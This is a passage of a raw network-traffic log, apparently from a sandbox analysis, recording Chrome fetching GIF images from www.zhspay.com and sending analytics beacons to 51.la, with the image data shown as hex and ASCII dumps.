2024-09-27 03:50:41 UTC	15021	IN	Data Raw: f1 73 0c 8f 09 88 f7 e2 92 7e 47 d7 da 84 71 dc 59 c5 2f f0 7d cf f7 d6 ab e7 ef ca d5 e0 3e 07 f8 81 ab 78 0f 4b 59 b4 6b af ed 8f 0f 49 ff 00 2e 57 2f b7 c8 6f ee ae ed cf 13 7f b3 5e cd e0 3f 88 1a 5f c4 8b 3f b4 59 b4 91 bc 1f 25 c5 8b ff 00 ae 83 fd ef fe 2a ab 0f a4 39 4f ce b3 8c 8e ae 1a 7c d1 d5 1b d1 7e ee 3f f6 e4 a9 fe 6f 6a 8a de 3f e2 66 a9 a2 ff 00 6a ba 0f 03 52 c2 7f ad ab d1 d5 18 bb 55 ff 00 9b da 82 24 59 d8 b4 54 3e 65 14 19 9c bc 9f f8 e4 75 5e 4d d2 7d ef b9 56 24 3e 5f ee 96 ab c8 7c cf 95 7e e5 07 a5 12 bc 87 cc 91 99 aa bf 97 e5 ee 93 f8 ea 6b 8f de 7f b9 1d 57 92 45 f3 37 37 fc b3 ac 64 12 2b c9 6e d6 f1 b7 fc b4 7a c9 f1 25 c5 f6 8f e1 bb f9 74 db 58 2f b5 28 e0 df 15 a4 ce ca 93 b0 ff 00 77 e7 f9 53 f8 53 ef bf c9 5b 91 c9 fb Data Ascii: s~GqY/}>xKYkI.W/o^?_?Y%*9O\|~?oj?fjRU$YT>eu^M}V$>_\|~kWE77d+nz%tX/(wSS[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49763	50.3.213.5	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:41 UTC	359	OUT	GET /zhuye/img/xpj2021.gif HTTP/1.1 Host: www.zhspay.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:41 UTC	230	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:41 GMT Content-Type: image/gif Content-Length: 88320 Last-Modified: Thu, 09 Jun 2022 16:05:13 GMT Connection: close ETag: "62a21a39-15900" Accept-Ranges: bytes
2024-09-27 03:50:41 UTC	16154	IN	Data Raw: 47 49 46 38 39 61 e8 03 c8 00 f7 d9 00 ff f9 72 fe ca 96 f7 af d0 0b 06 05 ae 89 29 33 23 11 f5 b5 90 f4 b6 6d cc 98 48 b2 b2 b2 a8 0c 5a fe f4 b0 27 2e 4c fe d8 eb ff e9 ca fe f9 8d a1 0e 16 02 0d ff d7 a9 52 53 4a 28 ec b2 58 ee 8b b6 ce 07 73 ff d9 ba b8 8d 43 29 15 2d fe f2 00 ec ec ec 98 9d ff 8e 8c 8c 1a 46 53 71 6e 6e 54 4a 4c 45 27 14 4c 45 14 53 36 58 ce 92 34 6c 4a 2d da da db 5a 62 f9 23 16 13 15 34 4a d2 8d 6c f3 d1 4d ff c8 64 fe d5 01 20 12 09 c7 c7 c8 eb 78 a9 00 5b 0d 46 33 16 35 26 22 b3 6e 4b fe dd 67 12 27 2d 44 16 25 45 28 23 d4 8f ae 49 0f 10 a9 7b 30 31 14 48 ff d7 a7 fa c9 df 45 25 55 90 71 33 35 15 15 47 33 25 6a 54 4f 92 72 48 7a 81 ff d2 ab b6 cd ce ff 46 38 35 db 68 9a ff ed f7 d3 1a 82 42 25 48 d6 b6 63 af 71 87 a9 6f 0b 9b 65 Data Ascii: GIF89ar)3#mHZ'.LRSJ(XsC)-FSqnnTJLE'LES6X4lJ-Zb#4JlMd x[F35&"nKg'-D%E(#I{01HE%Uq35G3%jTOrHzF85hB%Hcqoe
2024-09-27 03:50:41 UTC	16384	IN	Data Raw: 05 c3 e1 e4 4c de 82 05 58 80 02 dc 82 40 3c 29 87 fe 27 7d ae aa 7f f6 e7 29 95 2a b3 28 80 ac 36 8b 02 58 80 a9 36 85 65 6c 42 04 6c 02 07 14 41 af fe aa af 06 2b b0 9e c0 ae 92 90 91 0a 43 04 44 c0 09 00 6b 11 24 ab 39 dc a6 ae 26 eb 26 2c 2b b3 12 6b b2 ee aa bd 44 eb ae 2e ab b0 16 c1 09 68 eb 26 18 2b 2e 89 2a a9 2a 80 5b a0 aa 4c 3a e9 95 c2 90 86 5e 25 53 fc 28 5e a6 9c 6c 1a 50 2b 94 ff aa 88 d6 ab ad d2 eb a8 42 8e 16 d2 a6 b5 1e c1 39 e9 aa 39 f8 11 79 44 ab 1f 04 6c 04 0c ac 43 58 6b 04 14 01 c0 8a 18 35 40 c3 11 34 6b b2 9e c0 be 44 2b af 1e 2c 19 1d 13 07 58 6b b8 7a 2c 07 5c 88 65 fa c1 11 78 6c 18 04 1c b9 c2 00 3d 35 00 cb b6 ac cb be ac 0f f8 40 0e ac 9a 16 2c 01 a9 7e 86 65 8c ea 12 d4 63 b0 bd ac 11 18 c5 51 c5 ac d0 1a 86 07 25 c3 be Data Ascii: LX@<)'})(6X6elBlA+CDk$9&&,+kD.h&+.*[L:^%S(^lP+B99yDlCXk5@4kD+,Xkz,\exl=5@,~ecQ%
2024-09-27 03:50:41 UTC	16384	IN	Data Raw: e3 cf 73 8d bd 05 72 55 99 2c d6 f5 1a 21 36 e0 4f 1c 00 cf 11 a2 d7 88 e2 54 5a 9d d3 57 13 57 7a 1d 21 51 c0 a1 0e 78 af 76 e4 d5 00 e5 d7 56 45 57 5a 98 d7 82 a5 a0 75 8d d0 f0 73 9d 87 3d ac fb 81 3f f0 d8 80 41 68 87 78 f8 23 74 40 07 70 60 07 8d f5 d8 15 b9 58 90 6d 87 a3 e9 58 21 d5 87 72 40 d9 76 b8 58 7d 18 83 34 e8 80 12 25 40 98 cd 3f 0b e9 d1 91 5c d1 1f bd 11 91 69 d1 32 d2 20 42 ff aa d1 8d 6c 2d 20 0d 85 70 e8 86 50 a8 04 8d 31 c9 95 e4 d1 97 b9 d9 91 0c 05 21 1d 87 72 d0 51 cf 32 d2 98 74 d8 24 c5 da 50 01 56 6a d1 ca b0 cc 2a 64 eb ab 36 70 0d 3b 21 0d cd f4 a5 1b 3b db ef 52 82 af c4 82 c3 5b 2f 4a d3 b1 06 d2 4a 82 45 2f 51 c0 bb 17 93 5b 2c 48 d8 be ba db f1 ca 38 ad 3c 84 5c 8d 85 28 1b 83 2c dd 2e 7e 99 96 af 14 ba 42 5d 9f 70 da 84 Data Ascii: srU,!6OTZWWz!QxvVEWZus=?Ahx#t@p`XmX!r@vX}4%@?\i2 Bl- pP1!rQ2t$PVj*d6p;!;R[/JJE/Q[,H8<\(,.~B]p
2024-09-27 03:50:42 UTC	16384	IN	Data Raw: 62 e9 b2 ca 74 18 f1 90 3d 88 41 86 0b bb b2 61 fa 88 b4 f7 8b b8 d0 01 3d cb 8b e3 25 38 60 da 95 2b 24 a7 26 00 9c 2f 72 a7 da 45 10 4a bb 07 bc 80 58 d6 77 52 a7 30 b4 2b f4 7c fe 98 5d 56 ab 72 ef 01 36 59 4a 5e 98 e8 78 9b d8 b5 fd b9 7d 10 44 6f 81 7a 4f ac f1 51 95 77 b6 dd d6 20 f4 66 af 76 f5 50 d7 f0 53 ee da a8 92 7a 0a 1e a0 43 ec a6 8c f6 a6 b3 a7 30 ab 02 01 98 73 2a b6 59 bb 51 ff 7e 4b 9b 46 ab 88 97 e8 02 1f f0 a5 bc a0 b3 d0 ba aa 51 84 a7 a7 aa 87 b9 73 b9 d2 c0 51 e4 15 64 97 fb 60 68 0a b7 6f e5 35 a1 a8 ab c0 b3 0d b9 ba 6d 33 08 ba 43 57 0c 7b e8 60 ed f6 46 2f eb 13 7b a9 b9 e4 45 b8 ca 78 37 8c 43 11 8b e4 8f af 6a 8f d0 67 b5 62 7b bb 61 95 a7 08 b1 bb bb c8 ac 78 90 00 8a ab a5 11 98 a5 a4 50 ad 98 40 bc 0c a6 b8 29 86 87 8c 4b Data Ascii: bt=Aa=%8`+$&/rEJXwR0+\|]Vr6YJ^x}DozOQw fvPSzC0s*YQ~KFQsQd`ho5m3CW{`F/{Ex7Cjgb{axP@)K
2024-09-27 03:50:42 UTC	16384	IN	Data Raw: 6e 8b f0 61 75 74 00 2e b2 47 33 61 ab 24 ee 6f f3 6f 43 9d 36 fe d4 40 2d 25 82 ce ba 6d cb 70 32 31 be 60 02 d6 54 3c b3 2d 54 ff 74 4d e7 71 6f df ee 2b d7 ce 0e 36 b6 27 25 60 53 31 e2 0d 7a 8a 0b 6e 16 73 5d 56 a9 8c 8a a9 44 f7 bf b4 b3 27 b5 b0 74 f7 92 0b 2d 37 4e 41 22 29 7f d0 08 9d ae ca 04 f5 22 d0 0e 0a e7 e4 4e ff f4 ea 8e d0 ca 80 d7 76 51 2b ba fa 0f 65 ef ed 73 09 a1 12 92 37 ff df c0 16 c5 cc ef db 58 40 67 a1 f4 19 1b 63 2d ed ad 12 ba f3 03 c6 72 00 d6 10 01 ea d0 2e fd 8d 06 6d b5 4c 3e 60 57 07 13 7d d3 b7 57 db f7 d3 06 41 52 14 13 b9 7a ab b8 24 81 9a 12 b1 0c 12 4c 02 f6 00 4c b7 15 21 b0 d5 7f 2d 84 ce 44 13 35 45 91 5c cb d5 5c 8f 88 35 05 11 2a d6 f5 59 60 13 be 02 00 56 62 25 28 e4 82 6c ca 41 1b 5a f3 9b 4a 4d 86 ea c1 ff 80 Data Ascii: naut.G3a$ooC6@-%mp21`T<-TtMqo+6'%`S1zns]VD't-7NA")"NvQ+es7X@gc-r.mL>`W}WARz$LL!-D5E\\5*Y`Vb%(lAZJM
2024-09-27 03:50:42 UTC	6630	IN	Data Raw: d0 40 e0 27 2c 58 42 48 fc f4 50 00 c6 8c 19 d9 2c c4 21 ea a2 c6 90 02 1a e4 90 78 43 87 44 27 20 87 24 1c 22 49 09 30 91 32 45 21 bc 91 46 12 b0 06 81 4c a2 bc 35 48 a0 cc 47 0c 13 7e 94 29 32 e2 c4 02 82 b4 69 43 21 c8 29 54 a8 4c 99 ba a8 5a 75 2a d6 ac 5a b7 72 ed ea f5 2b 58 a6 1b a0 61 9d 30 f6 c8 a6 08 6a d7 b2 8d 90 56 2d 87 6a d3 08 1a d4 51 22 5a 35 0e 6d 23 9c 90 2b e5 0b 0a 5c d3 f2 ee 2d fc 36 ae dc 13 86 0b ff f3 85 36 6d 4f b3 09 92 27 8b 08 6b f9 f2 54 2c 54 31 73 ee ec 55 23 53 2c 51 ba 4e db 0a 8c 73 2c b1 64 37 4f bd 4b b8 6d df 6a 74 95 ce a0 3d c4 da 6b b6 b1 71 31 2d 26 f7 2d 63 dd 8e 53 61 7b 86 36 78 db 4d 47 e4 fe 46 ce 56 b9 63 2e b4 a7 17 a8 28 d0 47 8e 28 20 31 5e 14 25 4a ca 90 0f 6c 3e 88 af e5 dd fb 4b 9d 6d 92 06 49 b9 5d Data Ascii: @',XBHP,!xCD' $"I02E!FL5HG~)2iC!)TLZu*Zr+Xa0jV-jQ"Z5m#+\-66mO'kT,T1sU#S,QNs,d7OKmjt=kq1-&-cSa{6xMGFVc.(G( 1^%Jl>KmI]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49765	50.3.213.5	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:42 UTC	356	OUT	GET /zhuye/img/tyc1.gif HTTP/1.1 Host: www.zhspay.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:42 UTC	231	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:42 GMT Content-Type: image/gif Content-Length: 244502 Last-Modified: Thu, 09 Jun 2022 16:05:12 GMT Connection: close ETag: "62a21a38-3bb16" Accept-Ranges: bytes
2024-09-27 03:50:42 UTC	16153	IN	Data Raw: 47 49 46 38 39 61 e8 03 64 00 f7 ff 00 77 1e 0e a3 57 1f 9c 67 5a 92 1c 0d f7 58 34 02 8f bd ff 86 38 fe ad 59 ff ec 2d ff f5 4e ff db 30 fc d2 4f ff f8 6a f8 69 4a b2 af b0 f0 36 2a ee d9 f3 ff ff a8 f7 54 43 fe 86 45 db db db 4a 44 31 f3 c8 b2 d3 51 d3 35 32 29 ff fb 85 ff 77 45 fe e7 da ed eb ec ff e9 78 d4 29 31 ff fa 99 75 6e 47 ff dc 11 ee 4a 37 a9 66 a9 fc b2 0c c7 b9 b7 8d 8b 8b 91 84 4c f8 5a 28 f4 b5 2d f2 2a 42 f3 b9 ac f9 d9 cb 6d 6c 6c e7 58 17 fe dd 63 b2 93 91 a4 53 f2 f4 46 69 cf b1 55 b3 25 ed ff ef 87 fd da 74 aa 95 4f b3 ad 6c fc ae 92 de 61 c8 d0 50 29 ff ff 75 9f 37 72 ff 75 54 fb de d7 ca c9 ca d3 ad d2 f9 8b 6c fe 69 54 da c8 6d fd 95 01 ea 46 24 d4 cf 87 f8 ed f8 ef 53 42 b2 8f 15 0b 03 07 ee 52 38 ff eb 15 cb 94 cd a8 11 f6 f7 93 Data Ascii: GIF89adwWgZX48Y-N0OjiJ6TCEJD1Q52)wEx)1unGJ7fLZ(-BmllXcSFiU%tOlaP)u7ruTliTmF$SBR8
2024-09-27 03:50:42 UTC	16384	IN	Data Raw: 3e 67 c4 4e 1c 01 e1 9f 14 38 d2 ff 22 06 9a 36 b7 f1 ee 0d e9 f5 46 43 83 47 bc d7 d2 98 07 d0 43 d0 0c 00 89 8f 00 4c e9 41 e7 4c c4 67 03 a0 89 2e f1 31 8d 67 02 b2 91 47 9a 63 39 c6 b4 4f 45 ae 31 20 df 07 e5 d7 36 79 a6 35 f5 60 0a 21 7b 02 72 19 50 1f 20 b8 41 1a 66 90 86 4f f5 b4 a8 20 80 ac 20 98 d2 8f 13 e8 63 a8 37 b8 c1 09 a2 da 81 2d ee 2b 28 1a 04 e1 41 a6 81 03 62 d4 e0 57 5d 01 41 3e 40 08 87 ad 56 60 0b 5b c0 d7 17 40 75 55 43 03 36 62 6e 08 6b 25 f4 f1 2b 32 54 6b 83 5c 71 a1 58 d1 4a 10 37 60 20 5b 73 3d 82 1c e6 9a 11 69 29 ec 87 eb 5a 89 10 57 92 55 9a 3c d0 2b 00 7b b5 57 0f a2 af fe c1 ba d6 02 6b ec 55 73 7d 02 84 91 a1 02 20 a8 4a a9 bc 98 d9 11 6e c1 39 07 b0 18 d8 92 8d b5 d0 8a 96 b4 ca 06 5b 31 50 eb 17 25 ac 36 65 01 78 36 b6 Data Ascii: >gN8"6FCGCLALg.1gGc9OE1 6y5`!{rP AfO c7-+(AbW]A>@V`[@uUC6bnk%+2Tk\qXJ7` [s=i)ZWU<+{WkUs} Jn9[1P%6ex6
2024-09-27 03:50:42 UTC	16384	IN	Data Raw: 1c 89 c0 46 3f c0 80 90 9c 01 17 ff 08 82 07 4b 24 4c 5e b4 aa 15 b7 d5 85 5e 52 68 a3 38 e9 d1 a6 d0 8e 33 b4 78 f9 6c 47 f3 fa 0e 91 74 69 55 af 54 f5 ba f7 ae b7 76 7e 38 01 06 7a ea 53 0c a4 0a 2d cf 0a 70 a8 45 1d 6a 0c 10 f8 c0 a7 16 ab 82 c7 ba ca d8 3c 18 c2 6a 95 30 85 df 7a d7 0d d7 da d6 b7 e6 cd 26 52 c0 86 5a d4 62 13 fc f0 c0 5f 83 dd 61 15 1b 88 3c 11 82 45 2b 99 98 90 57 47 38 65 d8 63 82 a2 4d c6 a1 59 b4 b1 d0 df 14 50 38 85 d1 00 8a 29 fa 16 39 c8 c1 7c 56 90 03 28 b8 f3 17 2d ea 6c 0a 34 d1 59 05 68 22 46 3b bb 98 69 4f 6b e5 2a 79 c6 9f 35 9c 32 92 ca e8 e5 83 9a 29 89 df 9d 14 04 4d 76 a8 f0 86 17 c2 6c 92 9e 44 11 3e 3d 0a 71 50 6c b3 18 47 08 b8 a0 80 0e d4 a0 06 09 78 46 72 39 a6 89 d9 84 8c bc db ad 83 08 9a 3d f2 90 d7 41 02 23 Data Ascii: F?K$L^^Rh83xlGtiUTv~8zS-pEj<j0z&RZb_a<E+WG8ecMYP8)9\|V(-l4Yh"F;iOk*y52)MvlD>=qPlGxFr9=A#
2024-09-27 03:50:42 UTC	16384	IN	Data Raw: 09 14 2c 6e d5 8a 31 02 06 3c 5e 78 53 3b 39 38 5a 98 5d 31 9d 7b 81 9c f6 33 05 0a de 32 ff 80 8c 49 ef 84 04 8a c1 ab 07 ff 2c c1 82 c8 66 8d 10 60 4d bf be fd fb f8 f3 eb 4f 4a 7a bf ff ff 00 06 28 60 6b 0f 54 67 18 7a 8d ad a7 5c 6e f1 f0 d6 db 57 2f 75 41 17 26 14 52 d8 85 70 ff 74 21 cc 71 0a b4 12 0d 63 e0 31 d6 9c 02 d0 1d 90 a1 75 64 71 25 a1 89 08 30 96 20 88 09 60 71 8e 25 e7 24 90 a0 7a 8b e1 98 00 1b 17 9a c5 c4 80 40 06 29 e4 90 44 ea d7 5f 91 48 26 a9 e4 92 ac 89 20 c5 6b 4e 75 41 00 7a 0a 8e 08 de 73 04 74 51 13 5d 92 2d 72 48 3c f1 5c 23 8e 11 14 16 78 a1 18 3c 20 10 cd 87 0a b6 79 46 2b 0a 44 47 a6 81 4f 01 d7 85 18 ff e4 d8 a6 8e 0c c4 b3 40 8b 0a 92 40 82 82 7d 96 d7 94 08 fc 74 c5 e4 a2 8c 36 ea 68 91 47 3e 2a e9 a4 94 52 ea 24 3f 50 Data Ascii: ,n1<^xS;98Z]1{32I,f`MOJz(`kTgz\nW/uA&Rpt!qc1udq%0 `q%$z@)D_H& kNuAzstQ]-rH<\#x< yF+DGO@@}t6hG>*R$?P
2024-09-27 03:50:42 UTC	16384	IN	Data Raw: bc b2 30 61 84 73 4c 00 5a 22 58 1f 6c ea 02 13 a6 a7 e2 16 3b e1 0d ac 60 1f f6 91 74 04 78 80 07 78 0b a4 57 7a 1e e0 79 62 50 75 f0 c4 6b 8c d0 4a eb 35 6a 23 e7 5e 5d 05 66 c3 73 7b 1c a0 54 61 d7 3b 81 b3 4f 32 73 4a a8 85 46 76 a0 81 42 a1 7c fe 50 3c 5e 04 66 6d 97 65 c5 a3 5a 00 d0 7c 9e 75 3b 0e 10 7d 1c 40 01 a9 b4 76 09 86 7d 22 08 13 8b 00 78 09 24 65 e4 17 7e bd 55 84 48 78 20 a5 a1 48 0f c0 04 ef f0 0e e4 c0 4d e3 b1 13 a1 92 1b f5 37 01 07 c8 0a ef 90 7f 45 84 4e ea a3 1b 28 f5 23 eb 23 4e 98 b0 52 0b 90 00 68 98 00 0b c0 06 e7 d0 85 66 a1 5b ff 90 79 c2 00 75 e3 63 04 76 78 87 22 90 87 7a 28 02 77 d8 87 77 b8 1a 0c e8 01 fc 00 69 34 a1 09 8c a5 33 cb b6 3c af 87 45 b1 87 64 ee ff 85 3d 59 00 66 a7 04 41 80 03 03 7b d0 3b 1f 54 02 81 43 32 Data Ascii: 0asLZ"Xl;`txxWzybPukJ5j#^]fs{Ta;O2sJFvB\|P<^fmeZ\|u;}@v}"x$e~UHx HM7EN(##NRhf[yucvx"z(wwi43<Ed=YfA{;TC2
2024-09-27 03:50:42 UTC	16384	IN	Data Raw: 01 19 7d d0 09 0d 16 93 0c d2 a2 ed b7 1e 0d b8 0e 2d d1 29 64 01 fe a0 b7 be 01 0b 08 8c b7 1b 30 da b2 cd c0 54 b0 02 25 4d 7a 40 e1 c1 06 fb 12 49 20 0c 82 89 ca 77 7a 13 af 18 dc 28 0d 13 b7 f0 db 6b 28 8b 0e 9b a8 16 7b b1 00 c0 08 00 60 d4 16 1b b1 a8 fb b9 c4 eb 00 4f dd 56 3a 21 00 1c 30 0a 5b ff ed c3 56 cd 01 03 00 00 aa ba 07 03 b0 08 c8 8c 1a 03 30 0a cb cc cc 5a 00 00 30 c0 01 64 fd d4 31 3b a9 c3 0b 04 53 ac d8 5c ea ca dc 6c ba 3b 20 d7 30 41 d7 e3 ec d8 40 71 d7 c0 5b bd 9d 20 b1 cb ea b5 7f 7d bf da 3a de 71 40 09 78 1d 13 62 1b 13 ae 70 e1 18 9e e1 1a 6e bf 0a 40 13 c5 fa ce 18 6e 13 ae 40 09 8c 9d 13 8e 7d cf 91 1d 2d 83 40 d9 30 e1 a4 4a 9a 08 0e 91 06 4c 12 16 89 dc c0 88 22 16 08 bd c8 b4 e0 0f 3f b0 02 92 fc 03 40 1e e4 0b 3c db 0d Data Ascii: }-)d0T%Mz@I wz(k({`OV:!0[V0Z0d1;S\l; 0A@q[ }:q@xbpn@n@}-@0JL"?@<
2024-09-27 03:50:42 UTC	16384	IN	Data Raw: 2f 56 83 1f 0c da 6a 84 62 68 c8 04 c4 f1 41 b2 dd a7 21 3b 48 08 09 63 63 c2 8b 40 46 13 0d 7c 5b d3 14 a2 c2 17 46 53 9a d3 7c 21 0e 09 67 b8 1c ff ea f1 86 3b e4 26 37 7b a8 91 1f 36 a4 5b 36 61 42 3c 8c f8 95 67 3c 23 2a 2f d2 ca 13 9b e2 b9 11 d1 2b 28 ef 22 8a 55 82 82 3a 79 26 e0 89 f0 54 c0 aa 16 21 02 0f fc eb 2d 70 61 90 0d 6a c0 04 26 31 01 2f 0d c9 40 0d 0a a6 d0 36 3e 4f 22 9a 88 04 23 4a c0 98 7f 38 c0 64 09 09 c0 61 76 60 39 ee f1 91 02 76 e8 43 f8 3c 00 c8 50 48 21 12 6f 28 e4 69 30 59 34 f6 2d d2 34 08 d9 cd 23 63 83 99 c3 48 64 67 06 60 05 2b 14 d5 9a 98 e6 6f 7f f1 98 4d 44 b6 61 d3 4a 05 80 4b 02 70 80 1d 8c 93 90 a3 95 e0 0d 75 bc 58 02 17 c4 90 81 b0 02 98 12 29 4c 24 02 55 91 17 68 0d 21 e2 c0 82 7e 22 b1 d5 83 00 2a 22 a0 b8 95 31 Data Ascii: /VjbhA!;Hcc@F\|[FS\|!g;&7{6[6aB<g<#/+("U:y&T!-paj&1/@6>O"#J8dav`9vC<PH!o(i0Y4-4#cHdg`+oMDaJKpuX)L$Uh!~""1
2024-09-27 03:50:42 UTC	16384	IN	Data Raw: 80 b8 30 00 de 8c 87 1d f8 87 40 8d 53 4c a5 cd 3d 75 cc 2a 71 8b a5 a9 85 4a 88 80 0c 10 83 0f 48 00 04 38 c9 39 20 01 6d 43 86 66 88 84 48 91 1b 89 4c 0c c0 58 3c c2 98 22 4d b9 48 46 39 1c 0a 28 cf 4f 09 83 f3 4c cf 12 80 01 39 10 c8 17 d8 d5 92 e4 02 6e 45 c9 26 40 00 04 c0 82 08 f0 83 66 c8 cf 78 40 37 3b d2 03 67 78 06 46 a0 86 14 e3 00 02 dd 05 3d 18 83 58 28 01 be 71 07 62 e3 c9 1c 48 85 de 80 50 1d 1d 4a d9 1b 8e 44 b2 bd b3 52 4a 40 44 85 0a 70 4a 10 ad 1d 86 5d 16 49 d2 9d 1f 18 3e 45 84 58 d9 90 8d ff 0d e8 1d 0b 58 01 eb 40 2f 46 00 0a 01 d0 d8 1c 10 82 54 c0 d1 88 9b 44 b0 84 b8 1e 05 52 95 5d 59 c6 5a 97 ec 23 d2 26 15 02 51 04 bf d6 c8 81 2e 70 b9 7e 59 26 ca b1 52 58 84 39 56 ac 8c bf ac 90 36 3b 11 84 f8 85 74 b8 a3 15 40 88 81 48 88 06 Data Ascii: 0@SL=u*qJH89 mCfHLX<"MHF9(OL9nE&@fx@7;gxF=X(qbHPJDRJ@DpJ]I>EXX@/FTDR]YZ#&Q.p~Y&RX9V6;t@H
2024-09-27 03:50:42 UTC	16384	IN	Data Raw: 56 4a 3f 10 0e 78 92 0e 13 43 0b 60 90 41 22 70 ac dc da 05 d3 c1 08 39 51 01 d4 e0 af fe 5a 01 01 2b b0 02 0b b0 04 fb 6e 2f 91 a5 2c f1 3b ab 94 a5 cc f0 5f 15 e1 a5 03 17 a6 ec c0 15 6c d4 8f 8e b0 65 6a 01 86 8f b5 9b 31 e0 00 63 40 0f 5e 1a a7 c4 c3 0e d1 d3 9c 86 00 0b cf a9 a7 2b cb b2 2d cb 64 eb 89 66 e3 19 72 d2 47 9e 81 4a a8 37 db 87 20 99 a8 e5 c9 7c 02 53 9e d8 d5 93 f1 29 b4 99 4a a9 fb 49 b4 3b 79 a9 48 7b b4 96 5a 94 83 b1 8a dc 29 02 04 48 aa 32 62 18 43 c0 9d aa 38 18 42 00 06 43 d0 07 af 11 ff 5e 7e 91 04 5d cb a9 82 51 07 0f b0 06 12 30 18 99 59 1b 5f 4b 1c 96 23 18 22 e9 87 81 e1 03 54 83 1c 7e 71 af ca aa ac 14 d3 ac 7d 51 b6 d3 e1 b6 f4 c4 0f 52 20 05 fc 30 97 a0 b0 58 bd 84 b8 00 67 57 ff b6 02 9c 09 06 99 79 69 cf e1 17 6d 4b 80 Data Ascii: VJ?xC`A"p9QZ+n/,;_lej1c@^+-dfrGJ7 \|S)JI;yH{Z)H2bC8BC^~]Q0Y_K#"T~q}QR 0XgWyimK
2024-09-27 03:50:42 UTC	16384	IN	Data Raw: f0 04 57 08 1a 90 49 38 50 a2 94 7a 88 04 73 5b 47 85 ff c3 28 c4 33 b7 85 c1 28 74 d4 06 e8 ac 26 f2 ac 07 87 30 40 07 34 db 08 e6 58 9d f0 29 a2 8a 0a b3 b0 42 fb 05 10 97 cc 68 4a 86 d9 fe 5b 65 ca 66 64 46 34 a1 c6 d8 11 5b 2d 41 60 06 34 46 e6 2f 2a aa 6a 8a c4 64 f0 b0 47 bb 30 d6 42 71 08 48 31 36 86 1c 26 18 c1 74 96 19 4b 3f c0 48 18 20 17 7f 23 cb 81 63 aa 2a ae 18 27 2e 05 a6 31 35 65 99 98 65 20 e4 9a 19 36 71 41 9a b5 b1 b4 c0 71 1c df 13 2b 1f 72 3f ee b1 1e 6f 87 26 37 35 e7 ca 42 29 64 6f 41 bc 72 29 0c 32 41 b0 e7 3e 25 b2 22 b3 e7 1d ec c0 3f cc c3 48 cc 43 f6 3a b5 10 8c c3 2f ec 00 18 bc 83 10 7c 80 02 9c 41 9f 74 6e 1e dc f5 5d 0b af 2f e0 75 1e f8 42 14 4d c1 20 2f 8c 0d 28 ef 1c bc 00 72 a1 c1 eb 52 f5 ec 8e c4 27 a7 0e 14 b0 07 56 Data Ascii: WI8Pzs[G(3(t&0@4X)BhJ[efdF4[-A`4F/jdG0BqH16&tK?H #c'.15ee 6qAq+r?o&75B)doAr)2A>%"?HC:/\|Atn]/uBM /(rR'V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49764	118.123.207.191	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:42 UTC	802	OUT	GET /go1?id=20655415&rt=1727409039366&rl=12801024&lang=en-US&ct=unknow&pf=1&ins=1&vd=1&ce=1&cd=24&ds=&ing=1&ekc=&sid=1727409039366&tt=&kw=&cu=https%253A%252F%252Fwww.zhspay.com%252Fzhuye%252Findex.html&pu=http%253A%252F%252Fhbyczyz.com%252F HTTP/1.1 Host: ia.51.la Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.zhspay.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:42 UTC	313	IN	HTTP/1.1 200 Date: Fri, 27 Sep 2024 03:50:42 GMT Content-Length: 0 Connection: close Server: nginx via: CHN-SCchengdu-AREACT1-CACHE19[142],CHN-SCchengdu-AREACT1-CACHE19[ovl,26],CHN-SNxian-AREACT2-CACHE7[ovl,13],CHN-HAzhengzhou-GLOBAL3-CACHE63[ovl,2] X-CCDN-REQ-ID-46B1: 5e15f2b3cda03af78164f332d9a07223

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49766	148.153.240.75	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:42 UTC	579	OUT	POST /v6/collect?dt=4 HTTP/1.1 Host: collect-v6.51.la Connection: keep-alive Content-Length: 265 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.zhspay.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.zhspay.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
